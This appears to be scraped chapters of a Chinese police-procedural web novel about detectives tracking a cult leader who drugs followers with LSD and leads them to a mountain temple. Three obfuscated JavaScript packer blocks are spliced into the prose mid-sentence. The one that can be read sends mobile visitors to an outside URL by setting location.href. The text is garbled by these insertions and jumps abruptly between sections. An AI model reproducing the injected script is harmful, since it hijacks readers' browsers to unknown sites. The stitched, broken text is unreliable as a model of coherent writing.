嘭嘭两声拍门,声控灯骤然亮起,冷白的灯光照亮逼仄的老式楼道,李想位于化智寺附近的家门口,几名刑警严阵以待,离门最近的杨繁一手按在后腰,一手继续敲门,大声道:“长宁刑侦支队执行公务,开门!” 门内一片死寂,无人回应。 从刘勇居住的平房附近提取的监控显示,一个上穿亚麻色短袖,下穿黑色长裤,戴帽子、口罩、墨镜,左腿微跛的男人曾在刘勇遇袭前后出现在他的住处周围。 高清处理之后,这个把脸遮挡得严严实实的男人身量与李志贞高度相似,技侦通过沿途摄像头追查这人的行踪,发现他从刘勇家的胡同出来之后,沿大路步行进入小区,走进李家所在的居民楼,竟然就这么大摇大摆地回家了。 杨繁不死心地又敲了几下,依旧没人应门,楼上楼下/部署的警员已经等待了二十多分钟,李家屋内静悄悄的,窗口无人经过,没有一丝动静。 一行警员扭头看着宋柏,后者冲防盗门一扬下巴,没有半点犹豫:“叫物业上来撬锁,事后笔录我补。” “等一下,这门好像不用那么麻烦。”江桢上前,俯身观察门锁。李家使用的还是千禧年较为流行,和如今的智能门锁相比稍显落后的老式防盗门,他看了看,从兜里掏出自己的家门钥匙,取下钥匙圈捋平成铁丝,前端折回一点儿,慢慢转进锁眼。 杨繁犹豫道:“这真能行吗,确定不是只有电视上这么演?” “顶住里面的弹簧就行。”江桢话还没说完,门锁里面啪一声闷响,防盗门应声而开。 这一声就像无形之中给警员们下了某道命令,宋柏猛地拉开外门抢入屋内,下一秒抬手持枪在客厅内环视一圈,其他人鱼贯而入,分别进入两间卧室、厨房和洗手间。 “卧室没人!”“宋队,厨房没人。”“洗手间也没有!” 客厅的大窗拉着窗帘,宋柏大步走过去唰啦拉开,外面一片阴沉,夏季雷雨到来之前特有的铅云沉沉低压而下,楼下警车的红蓝闪灯投上窗玻璃,映着他冷硬的侧脸。 李志贞一家三口都不在,他们会去哪儿?从刘勇醒来辨认嫌疑人到现在,不到半天时间,李志贞怎么能做到闻风而动,反应这么快?! “仲夏。”他抄起步话机,声音听不出喜怒,“李志贞这两天没有出入市区的购票记录?” 在楼下车内维护现场外围的女警员一如即往地响应很快:“来的路上已经通知局里的同事查过了,没有。他名下的车也没有出入省道收费站。” “他老婆儿子呢?现在让童海和物业一起去确认李志贞的车在不在停车场。”“收到。” 说完宋柏环视客厅,陈设和上次他们来的时候别无二致,但之前摆放着洗好水果的茶几现在空无一物,房间中一股久未开窗的沉闷气味,房屋主人确实离开有一段时间了。 他走进李志贞夫妻共用的卧室,值得注意的是这间房子的主卧并不属于男女主人,而是他们的儿子李想。 次卧空间非常有限,衣柜和双人床之间仅留有一人可过的宽度,江桢正蹲在衣柜前,吭哧吭哧地用手里那根铁丝开衣柜中间的锁。 这间房子从地理位置到陈列都有些年头了,次卧放着的还是八/九十年代会用的那种三开门木板衣柜,这种衣柜的最中间是一面镜子,推开之后则是可以上锁的内柜门和下面的三个抽屉,江桢贴在内柜门上,一手拨动铁丝,凝神听着里面的动静。 “什么时候学会这个的?”宋柏没想到江桢在溜门撬锁有这么一套,一时语气和眼神中都带上了一丝揶揄。 “在派/出所啊。”江桢对他的神情一无所察,这锁和防盗门锁比起来似乎还更加难撬,他转了几次铁丝,都没成功,“和抓的扒手学,铐着的时候没事做。他们有的是惯偷,用一张卡也能把防盗门打开。” 宋柏出了警校就考进长宁分局,确实没有这种经验,就算有,他也不会有时间和兴趣与扒手搭话:“还学了什么?” 江桢专心致志,一时没反应过来:“嗯?” “问你在派/出所还学了什么。” “撬锁,劝架,反诈骗,摊煎饼——和你们这种上级单位合作盯梢的时候用得着。”江桢在衣摆上蹭了蹭手,这锁确实难弄,他手心出了一层汗。 “还有摊煎饼?”“对,还有摊煎饼,我是我们派/出所摊得最好的,盯梢第二天就有人加我微信盯着我出摊。” 宋柏心说那可能不是煎饼摊得好吃的缘故,拍了拍江桢肩膀,说:“让开吧,我来试试。” 江桢抬眼看他,有点惊讶:“看会了?” 宋柏也不说话,接手了那根沾汗打滑的铁丝,边听着声音拨动里面的弹簧片,边猛地用力拉动铜环内柜门把手,上了年头的木板发出不堪重负的吱嘎响动,随后咔地一声,内柜门开了。 他立刻看向江桢,想在对方脸上找到佩服的表情,然而江桢直直看着衣柜,被什么东西吸引住了。 一股浓重的香灰味飘出来,瞬间宋柏心中如闪电划过般雪亮,转头一看,衣柜中几样东西摆得乱七八糟:一座铜像,一只内有残香的香炉,两侧没有贡品,取而代之的是一叠黄纸,两小瓶红色墨水一样的液体。 和他们推测制作“灵药”的工具基本一样! 宋柏叫人进来取证,只见江桢还蹲在衣柜前,认真地看着那尊铜像,便上前问:“怎么?” “……这不是‘自在神’。”江桢戴上手套,从衣柜中把铜像取出,次卧灯光下塑像正面一览无余。铜像未被黑漆抹去面孔,背后佛光大盛,看起来似是数量上百的手臂似孔雀开屏排列在佛像身后,每一只手掌心都有一只眼睛,佛像合掌平视,敦肃温柔。 “这是千手千眼观世音菩萨。” . “购票记录显示,李想、陈兰母子于4月20日乘早班高铁离开章宁市,目的地是沽安,这里也是陈兰老家。现已电话通知他们两人回章宁,据陈兰说他们这趟出去原本是要回老家探亲。这两人语气如常,好像还不知道发生了什么。” 长宁分局,会议室。仲夏在白板上贴好刚刚打印的照片,白板笔的黑色笔迹将几人连成一线,他们之间混乱复杂的关系骤然明晰。一屋中没有人废话,哗啦哗啦都是翻阅案卷的声音。 宋柏清清嗓子,为众人梳理案情:“4月17日,漕桥区发生恶性杀人案,是嫌疑人洪二发笃信邪教,受到邪教高层人员‘菩萨’教唆后,服食伪装成‘黄符灵药’的致幻剂lsd后精神失常所做,搜查洪二发物品发现他敬拜的‘自在神’铜像和随身佩戴的神像木刻珠,经过排查,我们找到了制作木刻珠的工匠刘勇。 “刘勇被找到当天遇袭,差点被闯入他家的陌生人勒死,经其本人辨认与监控摄像比对,行凶者是普通市民李志贞。需要注意的是李志贞的儿子李想两年前曾参与贩/毒走/私案,曾经吸食lsd,和我们在洪二发体内发现的药物一致。 “搜查李志贞家发现观世音菩萨像一尊、lsd溶液两瓶、黄/色符纸若干,结合对邻居和亲戚朋友的走访,我们得知李志贞一年多以前突发脑梗,李家为筹医药费一度想要卖房,后来突然筹到一笔钱替李志贞看病,紧接着李家还换了一辆车。 “陈兰之前就信佛,观世音菩萨是她拜佛所用,推测这一点给了李志贞灵感,使他为钱在章宁发展‘自在门’教团。他儿子一度沉溺于毒/品,他本人深知lsd致幻和成瘾的威力,也知道其载体一般是纸,所以想出‘赐符赐药’骗取教团成员信任的办法,并以此收取供奉为自己敛财,这一点李志贞的银行流水可以证明。 “我们高度怀疑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他和宋柏一起睡在值班室不是一次两次了,对方的睡眠质量之高,入睡速度之快可以说是令人叹为观止,因此他有点意外也有点惊讶:“你失眠了?” 宋柏对他的关心完全不置一屁,冷冷道:“别废话,吃什么保健品管用?” “嗯……褪黑素、酸枣仁?最近酸枣仁特火,跟蜂蜜一样,拿着冲水喝就行。不想食补的话贴专门的膏药也行,贴脚心的,我那儿有一/大堆,哦对,还有电热眼罩,听说也管用,还能治偏头痛。你……真病了?”卫洲小心打量宋柏的脸色,似乎不敢相信这熊一样的体格还能被失眠所困扰。后者一脸清爽,周身环绕着“就算三天三夜不睡觉也不会猝死,因为我是强壮而坚/挺的正义的伙伴”的气质,差点亮瞎他这养生达人的狗眼。 “你刚说什么?”看起来完全没病的宋柏目光微动,“你那儿有一/大堆?” ——十分钟之后,宋柏抱着酸枣仁软糖、闪睡贴、电热眼罩从卫洲办公室出来,后者座位似被扫荡过一般空出大块,欲哭无泪道:“能不能给我留两片闪睡贴,这个牌子很难买的,我是香港代购来的,喂!” 下一秒他的手机提示音响起,打开一看,居然是微信转账——宋柏给他转了笔钱! 卫洲这辈子没想过自己那堆保健品还能在公安局这种地方创收,猛地噤声把手机按在胸口捂紧了。江桢正好从刑侦支队办公室出来,见宋柏怀中抱着鼓鼓囊囊一个袋子,还没反应过来就被塞了个满怀,错身的瞬间只听到宋柏用淡然但不容拒绝的声音说:“拿好。” 江桢:“……” 卫洲:“……” 卫洲跳起来大声抗议:“好啊!原来是拿我的东西去送童——” 他话没说完,拐角处一阵喧闹传来,三人不约而同地向那边扭头看去,一个头发花白的老头,正在仲夏的搀扶下号啕大哭:“政/府!不好了!青天大老爷,我家要出人命啦!!!” 22.第二十二章 这段时间队里因为调查洪二发的案子十分忙碌,走廊里大部分时间都是寂静无声的,就算放在平时,跑进公安局大楼里喊冤的也很少见,老人这么一哭,不少警员借着接水送材料的名义出来,想看看是怎么回事。 宋柏腿长步子大,快步上前一把搀住老人的另一只胳膊,眼神示意仲夏:“先带到会客室。” 卫洲探头看了两眼,拉住仲夏,小声问:“什么情况,家里人走失不应该归派/出所管吗,你怎么把人往楼上带?还嫌你们宋队这儿不够乱呐。” “他说他老婆是出门拜佛之后失踪的,我想着和案情可能有关,就……”其中似乎还有别的隐情,仲夏欲言又止,最终什么也没说,而是转进茶水间,接了杯热水端着进了会客室。 会客室内,才刚因为怀柔手段了得荣升他们队外交大使的江桢已经坐在老人身边安抚,两人坐在沙发上,茶几上还乱七八糟堆着一袋子保健品。 老人情绪激动,手都因为过度通气抽筋成了鸡爪状,江桢顺手从袋子里抽出一袋软糖,看也不看就撕开两颗喂给老人:“您先顺顺气,是不是早晨没吃饭?您吃块糖……” 宋柏:“!” 感受到了身边明显的气压变化,仲夏靠过去问:“宋队,你怎么了?” 宋柏的目光扫过江桢又扫过那包珍贵的数量稀少的酸枣仁安眠软糖,最后定在老人潮湿的脸上:“……没什么。” 仲夏不明觉厉,但八卦之心被眼下紧迫的案情死死压了下去,赶紧说:“这位老人家自述妻子一天前出门后失踪,现在电话打不通,人也没去常去的地方,最重要的是,他说老太太是出门拜佛失踪的。” 如今“佛”“神”一类的词汇简直轻易就能触动宋柏敏锐的神经,他果然接话问:“什么佛?” “没说,张口就哭,话还没说利落,我想不会那么巧,说不定和洪二发案有关,就给带上来了。”仲夏顿了顿,像是不想被老人听到一样,掩住嘴巴小声说,“还有,这位老人情况比较特殊。” 在宋柏问询的目光下,她说:“他女儿是因为见义勇为牺牲的烈士。” 老人名叫石岩,就住在长宁分局附近,女儿石静,三年前跳水营救落入长宁河内的市民时身亡,之后被追评为烈士。石岩夫妻中年得女,老了却白发人送黑发人,派/出所对两人多有照顾,时常问候,却难以弥补丧女之痛。 “女儿去世之后,我老伴就不对了,做梦梦到她,吃饭想到她,有时候走在路上,看到像静静的,也要追上去看人家半天……”石岩老人的手机里存有妻女的照片,眉眼清秀的石静和母亲曾云相貌肖似,两人微笑的样子如出一辙,在一棵开得正盛的梨树下拥抱合影,那一年石静二十四岁,梨花开败之后没多久,她为救人溺亡在了长宁河中。 老夫妻送走女儿,接受了无数褒奖、安慰和眼泪,闭起门来,一种不知今后如何过活的惶然压上心头。 “就是在那个时候,她开始信佛。” 一开始是到寺庙去供长明灯,然后是单独请法师超度,慢慢地,家里千奇百怪的法器越来越多,为石静攒下的嫁妆付为灯油钱,化智寺内那标名“石静”的金灯永远明亮,曾云被灯光照着的脸庞却一日一日黯淡下去。 石岩发现曾云沉溺在那瑰丽、虚幻却令人充满希望的死后世界中无法自拔,甚至请出马仙等各路师父到家里,做法留住女儿的“魂魄”。 “她太想见静静了,她太想再见她一面,所以才会信那个。”说到这里,石岩原本已经平复的心绪似乎重又纷乱起来,不住抹自己的眼角。 发现洪二发案涉及邪教以来,长宁分局的警察们多少都对近年宗教相关的流行说法有了一定的了解,超度甚至再见死去的家人是“自在门”发展教众的常见说辞,江桢听到这里,和宋柏交换眼神,两个人心里共同的一个答案呼之欲出。 石岩颤/抖着说:“她信了‘自在神’。” 曾云是上化智寺供灯油钱时被拉入教团,一开始教团活动无外乎读经、和经历类似的人聚在一块儿聊聊天,后来一个被老成员尊称为“菩萨”的人出现,并在“吉日”赐给了曾云在内的几名新成员“灵药”。 曾云回家后大病一场,病中精神却异常亢奋。 她听到了。 她听到家门打开,女儿迈着轻缓的脚步走入卧室,这一次她没有浑身湿透,也没有哭着喊冷。她只是小声叫着妈妈,抚摸曾云的额头。一切痛苦消弭不见,曾云在那一/夜获得了长久的愉悦和安宁。 “菩萨”,又是“菩萨”!这几天这个称呼他们提到了不下百遍,江桢几乎是立刻追问到:“她有没有说‘菩萨’是什么人,看到脸了吗?” 石岩为难地摇摇头,回忆了一下,说:“‘菩萨’不常出现,我只知道她是个女人。” 江桢唰然色变,抬头看向宋柏,后者也是一脸错愕,只消这一眼两人都知道彼此在想什么——女人?“菩萨”应该就是李志贞才对,怎么可能是女人?! “确定没有弄错?她是怎么确认‘菩萨’是女人的?” 石岩一脸莫名其妙,不能理解警官们为什么要抓着这个不放:“她听‘菩萨’讲经了啊,说是一个很年轻好听的声音。” “……”宋柏抱臂沉吟片刻,道,“您继续说。” “那之后,她就彻底迷上了‘自在神’……” 曾云每次献给自在神的供奉都有万元之多,石静的长明灯无人照拂,灯油耗尽,被化智寺僧人撤下,曾云频繁出门拜神,还多次要求石岩和她一起。 4月20日清晨,曾云比平常更早出门拜神,这之后音讯全无,再也没有回家。 “那您为什么不和她一起去拜?”江桢很清楚,再强大的理智有时也会落败于思念之苦。 石岩老人坐在阴影中,垂下眼睛,看着妻女的照片,显得衰老而脆弱。良久他摸着手机屏幕,好像要把女儿的脸擦得更亮一样,自嘲般一哂:“如果真的有神,神仙有眼,我女儿跳河是因为心善救人,神仙怎么忍心看着她死?” “人死如灯灭,那一定是骗子,可是我不忍心……我不忍心说穿才害了我老伴。”他抓住江桢的手,声音都扬了起来,“警官,你们救救她吧,马上就要下暴雨了,她一个人和骗子在一起能去哪儿?” “是啊,”宋柏压着眉心,声音里难得带上一丝迟疑,“他们能去哪儿呢。” 曾云年老体衰,并无特别之处,如果真的是“自在门”——李志贞带走了她,原因是什么?曾云见过的那个自称“菩萨”的女人又是谁,她现在会和李志贞在一起吗? 江桢顺着老人的背,轻声安慰道:“别担心,您还认得其他教团成员吗,妻子有没有向您提起过,有没有联系方式?” “我怕的就是这个!”石岩越说越急,“她们一群人里和我老伴要好的一个朋友,手机今早也打不通了!她家里人也去了派/出所,可人家说不给立案……” 宋柏的心重重一沉,同时一个念头乍现,他示意江桢陪老人坐着,自己则步入警员办公室,屋内一群人都仔细地盯着监控录像,希望能从模糊的画面中找到李志贞的身影,宋柏穿过焦头烂额的人群,手机打通报警中心电话,开门见山:“帮我查从19号到今天市内人员失踪的报案,至今人还没有找到的,接警记录发到长宁分局。” . 轰然一声巨响,紫色闪电撕开天幕,一列警车疾驰在如注的暴雨之中,似一支红蓝相间的利箭,车轮扬起路面积水,从上空俯瞰,犹如摩西分海。 报警中心响应速度非常之快,筛查之后他们找到了二十三起疑似相关接报记录,从刘勇遇袭至今,章宁市内共有二十三人以出门拜佛或敬神为理由失踪,彻夜盘问后家属承认失踪者多少与非法教团“自在门”有关,而他们的手机全部都已关机。 这一晚技术部门亦彻夜难眠,李志贞手机的历史ip地址被锁定在章宁市远郊的樱桃沟,紧接着失踪者的手机定位先后被找到,所有人最后出现的ip地址都散落在樱桃沟附近。 樱桃沟,顾名思义,章宁西南部群山之中的一片凹陷而平缓的地带,一直有人在此居住,前几年这里被开发成风景区,迁走了部分居民,单是修建各类设施项目就耗费了上亿资金,可最终不知怎么,这个项目竟然烂尾了,留下的村民依旧居住于此,距离这里24公里左右有个小镇,部分小镇务工人员为了便宜也在这里租房,因此这地方虽然小,可人与人之间却并不全都认识。 为首的警车驶上小路,停在樱桃沟村唯一一家小饭馆前,宋柏披着警用雨衣,豆大的雨滴砸得他的帽檐噼啪作响,打湿了他的额发。跟在身后下车的是江桢,清晨的远郊温度还很低,他穿着雨衣也冻得嘴唇发紫,唇/瓣隐而不发地紧紧抿着,脸色很差。 又是一天一/夜没有睡觉,可他的困倦却因夜里和失踪人员家属通的电话而无影无踪。本来他以为这二十三个成人失踪事件背后至少会有那么两三起与自在门无关,没想到仔细盘问下才知道自在门私下发展的规模已经如此之大,当年在南方人人喊打的邪教组织逃到北方,竟然收获了这么多信徒。 这些人里有和洪二发一样,亲人下落不明而入教的,有和曾云一样,因为不能承受丧子之痛而开始供奉的,甚至还有生命进入倒数的绝症患者,为求一线生机日日诵经。宋柏觉得这简直太荒谬了,每年公安系统都推行反邪教反诈骗宣传,还肯相信这套的人愚不可及;但江桢知道,让一个人完全绝望比让他认清自己信奉的是邪教恐怖千万倍,这个世界上有那么多分离、痛楚和无可奈何,致幻剂带来的一丝希望足够令人沉/沦。 很少有人有勇气清醒着走至穷途末路。 樱桃沟的小饭馆门口,店主夫妻和村警已经冒雨出来迎接,见到他们忙迎进屋,指着桌上用得只剩下半张的手帕纸、明显是落下忘戴的墨镜,甚至还有看起来像是故意丢弃的药盒,问:“你们找的是这个不是?” 戴奇鞋里蓄的全都是水,看到那些东西两眼放光,鞋都来不及抖,说:“是是是,他们是不是有二十三个人?” 出发之前他们看过地图,才知道当年开发风景区时当地人在自家院子前开了个小饭馆,算下来这群人已经出走一天一/夜,不管他们去干什么,不可能不吃不喝,加上多数人走失时都是轻装简行,警方猜测他们也许会在村子里买食物甚至投宿,来的路上接到樱桃沟派/出所电话,村警在村中走访确认,这家小饭馆果然招待了一批意外来客。 “二十多?没数,可能有。”男主人连说带比划,试图为警察们还原这群人出现时的样子:昨天上午,天阴飘雨,他和老婆想趁雨还不大把晒在院里的苞米挪到淋不着的地方去,两个人一出门,只见雾气之中无声无息地站着一群人,简直鬼神一般,不知怎么出现的。他老婆吓得嗷一声扔了苞米就要跑,还是他大着胆子上前询问,为首的中年男人笑着拿出一些现钞给他,问他店里有没有吃的。 最后他俩弄了点粥和馒头给这群人,他们也不挑,或者说心思根本就没放在食物上,每个人都若有所思,食不知味,那个中年男人腿脚有些不便,对他说他们是倒了几班旅游大巴,最后一段路走着过来的,大家都有点累了,让他别见怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490029|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面的阴冷更显得屋内闷热,宋柏敞着衣领,雨水直往下淌,里面的衣服被打湿了,闷在不透气的雨衣里,应该是有点难受的,可他和其他所有警察都没感觉似的,比昨天上午来的那群人还急:“他们说没说要去哪儿?” “没明白说要去哪儿,但是那个瘸腿男人问了我们一个地方,”女店主和丈夫嘀咕了几句,确认之后才敢说,“他问殊海栖隐寺现在是不是只能从野山道上去,上去要多久。” 村警见市里来的同事面面相觑,简要说明到:“殊海寺是这边风景区开发的一个项目,在后面山上,现在那儿都已经废弃了,要想上去得从这儿绕路到桃花溪,翻那里的门岗,走一条野山道,这天气……” 他犹豫着没有说完,但每个人都明白了他的意思:这群人多半是去了殊海寺,上山时天气尚佳,这群老弱病还能勉强上去,此刻暴雨倾盆,碎石坡都被冲得遍是泥浆,这些人很可能没法下来,被困在了山上! 一时之间没人吭声,几个村警交换着惊疑的眼神,刑警们则统统看着宋柏,镇定而肃静,似乎在催促队长下令进山抓人。 戴奇凑上来说:“柏啊,我们是不是要……” 宋柏抬手止住他的话茬,问到:“仲夏呢?” “在这里。”在场唯一一个女警员应声站了出来。 “打电话给康局出车接应,你留在这里等他们,我们和村警先上山。” 不等仲夏反驳,他继续道:“每个人带2升饮用水,手机下载离线地图,五人一队上山,我开手电在最前,不要掉队,天气特殊,各位注意个人安全。” “好的宋队!”“明白!” “我觉得有些不对。”一直闷头赶路的江桢忽然道。 樱桃沟后山,碎石山路,几个人一脚深一脚浅地向前向上攀爬,时不时需要扶住石壁借力才能站稳。江桢被宋柏拉了一把,两人并肩探着前路。 盛夏长至及膝高的草丛簌簌不止,在风雨中摇晃起伏,加上山里起雾,虽是白天,却像傍晚一样阴沉,能见度不高。宋柏被说中心思,却没有直白说穿,举着手电问:“怎么不对?” “……我觉得,从袭击刘勇开始,李志贞就像故意在吸引我们的注意一样。谁能确定刘勇记得住送木头和上门拿木珠的出租车车牌号?一个车牌号,不可能比一个要杀自己的人的脸好记,他就不怕刘勇没死,直接认出他来吗?” 事实也恰是如此,刘勇幸运地没事,并且立刻指认了杀人未遂的李志贞。 “我们现在锁定他的速度,可比逐一排查出租车,沿着那条线索找下去快多了。” 宋柏故意说:“如果他认为警察迟早会摸排到购买木珠的买家,所以趁早下手一了百了,只是没想到刘勇没死呢?” 江桢立刻回答:“道理一样,就算刘勇死了,周围还有监控。动比不动危险得多,但凡我们排查迟了几天,他就可以逃出省外,何必多此一举,自己给自己找不痛快?” 说话间他们已经缓慢爬至山腰,也就是殊海寺所在的位置,仔细分辨,远处的雾气之中,似乎已有大型建筑飞檐斗拱的轮廓。 见宋柏沉默不答,江桢继续分析道:“现在带领教众出走也是,虽然不知道他的目的是什么,但那么多人走失,家属必然报警,现在手机不离身,出走的教众中有老人和病人,去稍微远点的地方就要乘交通工具,那不是一两个人——二十三个人,这样声势浩大,就像是拿着喇叭对警察大喊快来抓我一样,不是引火上身?除非他……” 除非他不想活了,干脆把二十几个人弄到深山荒庙中做陪葬了事。 强烈的冷风吹落雨衣的兜帽,江桢为自己没说出口的这个念头陡然打了个激灵。 紧跟在后的警察们都已行至殊海寺前,大雨把通向主殿、杂草丛生的路上可能留下的人迹冲刷得干干净净,从外看空无一人的寺庙如神仙宫殿被遗落在此,处处透着诡异的气息。 宋柏用力为江桢拉上雨帽和衣领,低声道:“小心。” 地面积水啪嗒轻响,警员们在暴雨中急行,宋柏走在最前,还没有摸到主殿的大门,已经隐约听到主殿方向传来的人声——他们果然在这儿!稍后跟上来的警员们听到声音,精神皆是一震,五人一组无声而迅速地分开,左右包抄主殿。 朱漆剥落的残破门窗关得严丝合缝,宋柏一手按上后腰警枪,猛然踹向主殿大门! 刹那间殿内人声骤然放大,挟着雨珠的狂风卷入殿内,呼啸着穿堂而过,十几个来自警方的手电筒光照亮主殿,原本应是泥塑佛像的莲花座上赫然坐着李志贞,他敛眉趺坐,右手端铜像,左手持钵,对闯入殿内的警察置若罔闻,二十三个失踪教徒在他身下莲台边围坐成圆,舞蛇般摆动身体,口中念念有词,竟是在唱经。 烟雾缭绕,浓香呛鼻。殿内空旷,齐整的人声道道回荡,居然盖过了远处的惊雷,信徒的唱诵仿佛生者竭力向地狱天国发出的呼唤,每个人都穿得很单薄,狂风吹鼓他们的衣摆,掠过每一张带着餍足微笑的脸庞,有人站了起来,拼命向上伸直胳膊,好像要接住什么即将降临的神迹,又似下一刻就要踏云而去,羽化登仙。 宋柏最先反应过来,拔枪瞄准莲台,厉声喝道:“李志贞,滚下来!” 唱经还在继续,李志贞抬起眼,下一秒江桢持枪的右手渗出冷汗,心脏狂跳! 然而什么都没有发生。 没有开枪,没有抵抗。 李志贞直直看着宋柏,那眼神仿佛背后真有神明,不屑地望着尘世间的一个蝼蚁。 李志贞说:“你们终于来了。” 23.第二十三章 数辆由警车开道的救护车尖锐的鸣笛声打破长宁中心医院前的安静,医护、家属,甚至记者,雨幕中的几人猛然抬头,不约而同地跑向最先进入快速车道的那辆车,霎时间如同冷水滴入热油,人群炸开锅一般胡乱嚷嚷起来—— “老婆!我老婆呢?” “请问警方是如何部署此次救援行动的,二十三人又为何在极端天气上山,是否真如我们得到的消息所说,他们都曾接触过某类毒/品……哎您怎么能推人呢!” “快让开!这有一个老人中度失温!” 长宁分局局长康永平从其中一辆警车上下来,身上警服外套被雨淋成深色,横眉怒道:“你们是哪家台的记者,谁叫你们来的?!” 和他同车抵达的副支队卫洲立刻伸手挡住凑上来的镜头:“别拍了别拍了,给伤者让让路!” 六个小时之前,第一批爬上樱桃沟后山的警察在荒废的殊海寺中找到了神志不清、形同疯癫的二十三名失踪人员。他们苦寻几日的李志贞思维清晰,没有抵抗,手里的钵中盛有清水,经初步检验,查出了lsd成分。 除了李志贞本人,所有人都喝下了可能致命的致幻剂! 要把这群人在暴雨中弄下山,难度可想而知。还好长宁分局响应及时,康永平亲自带队,还联系了最近的消防和蓝天救援队。好在殊海寺位于半山腰,不算很高,一番救援之后,被困山中的一行人总算有惊无险,都囫囵地下来了。 下山途中就有人身体出现异常,状况最危险的几个人就在最近的医院先接受救治,剩下/体征平稳的分别被救护车转至长宁中心医院,心惊胆战的家属们早已在那里等待。 江桢坐在其中一辆救护车上,即使披着消防毯也依旧脸色青白不似活人,一旁的宋柏更加狼狈——带人下山的过程中,他身上多处都被磨破,手掌因为不断拨开锋利的草叶而留下道道割痕,贴在虎口处的纱布早被摘下不知扔去了哪里,此时一双手鲜血淋漓。 有人尖叫有人痛哭,被推了一把的记者还在喋喋不休地报道,两个人面带疲倦,隔窗望着混乱的一切。 江桢的喉头艰难地滚动了一下:“你说会有人死吗?” “我不知道。”宋柏诚实地回答。 他头发被吹得落下来贴着额头,削弱了周身的锐气,连续熬夜让他的眼窝微微凹陷,眼睛却依旧明亮无比。他抹了抹手上的血迹,拽起消防毯的一角盖住江桢的脑袋,用力揉/搓湿透的黑发,感觉差不多半干的时候才松开手,隔着消防毯,江桢感觉自己的后颈被重重地、安抚般地捏了一下。 “下车。” 李志贞还拷在局里等人回去审,无论案情多么离奇诡谲,他们务必迎难而上。宋柏活动了一下手腕,打开车门,他的身形复又挺拔如剑,冷静而坚不可摧,在倾盆大雨中为江桢撑开一把伞。 连日的奔波令江桢太阳穴跳突隐痛,像有无形的尖锥一下下凿着里面的骨头,他点了支烟,深深吸了一口,那疼痛似乎真的随着吐/出的烟雾散去了一些。 这算是难得的休整时间,两个人站在医院大厅门口,有一搭没一搭地聊天。 江桢问了个很傻的问题:“李志贞到底想干什么?” 宋柏笑了一下,虽然苦笑的成分更多:“不知道,也许他是真的疯了。” “——我看你是真的疯了!”康永平出离愤怒的声音在他们身后轰然炸响,老局长瞪着牛眼一指宋柏,劈头就训:“下暴雨为什么要上山,为什么不等增援?你怎么知道对方就在山上,万一没在呢?你怎么知道他们手无寸铁,万一有武器呢?你没见过邪教成员吗,不知道在他们眼里杀人就像杀鸡一样容易,杀多了还可以直升天堂吗?万一……” 城门失火不能殃及池鱼,江桢咬着烟,不着痕迹地往旁边退退,再退退。这上下属训人的语气如出一辙,康永平喘了口气,刚要继续,宋柏一立正一低头,异常诚恳地说:“我错了康局,对不起康局。” 道歉的样子看着很眼熟,也不知和谁学的。 这事出反常的道歉把康永平提起的这口气尽数噎了回去,他显然也没见过宋柏如此服管的样子,一时忘了接下来要说什么,瞪着宋柏“你”了半天,最后臭着脸道:“给我滚上去把伤口包扎好,吃完饭赶紧回局里,听见没有!” 宋柏瞥了一眼江桢,扬了扬眉梢,表情似乎在说“这办法挺好用”,后者这才意识到什么,呛了一口,连连咳嗽。 “听见了。”宋柏还是用那谦卑恭敬得像被夺了舍的态度回答,勾手按着江桢的后颈,就像拎小猫小狗一样,带着人走了。 . 外科门诊,清创室。 医生仔细地用手指按压着江桢肩膀处的伤口,原本缝合整齐的皮肉发红微鼓,靠近伤口末端处不知何时有了个很明显的洞,混着血水的组织液直往外渗。 “感染了。嘿,你干脆再去长宁河泡个澡好了,现在的雨水多脏啊,你也真敢淋呐!”医生拿着尖头镊子,毫不留情地撕开伤口上已经长好的血痂,在破溃的皮肉中翻找线头,那感觉无异于被锥子生扎,江桢饭也没吃,胃里都是空的,冷不丁的激痛令他一阵恶心,眼角控制不住地跳了跳,他咬着嘴里的肉,愣是忍住了。 医生的动作很利落迅速,饶是如此,他依旧能清楚地感觉到冰冷而锐利的金属在血肉中的每一次刺探,清理伤口表面的棉签带去腐坏的表皮,犹如生剥;护士一点一点用镊子和刀片仔细刮着深处的坏肉,清出所有脓液,不属于身体一部分的东西深/入皮下的感觉更是令人头皮发麻。 宋柏一双手包扎完了,拉了把凳子坐在他对面,此刻正目不转睛地看着他。湿透的衣服被褪至后脖颈,他就这么光着上身,在护理床上坐好,像只鹌鹑一样承受着来自医生的狂风暴雨和宋柏的眼刀。 清创室位子有限,一个大屋子里拉了两道帘子,隔壁和隔壁的隔壁也在清创,两个陌生病人哎呦直喊,比赛似的惨叫一声高过一声,江桢这里只有沉默,好像他生下来就不知道痛一样,直到二次缝合上药也没吭一声。 宋柏很不喜欢这种铁板一块,完全不害怕也丝毫没有流露出难捱的样子。 江桢小时候不是这样的。 他算是很听话的小孩了,可是也很难抵挡拔牙和打针的恐惧,他小时候老是生病,小感冒必定恶化成发烧,一发烧非得带去医院输液才能好,偏偏他很怕打针,经常在临出门前钻进床底默默流眼泪。 床底下很逼仄,大人施展不开手脚,非得宋柏猫进去把他抓出来才行。宋柏抓他简直像抓猫一样容易,因为他看见来的是宋柏就会像定住了一样一动不动,任人宰割,只是哭得更凶更可怜。 那时候宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 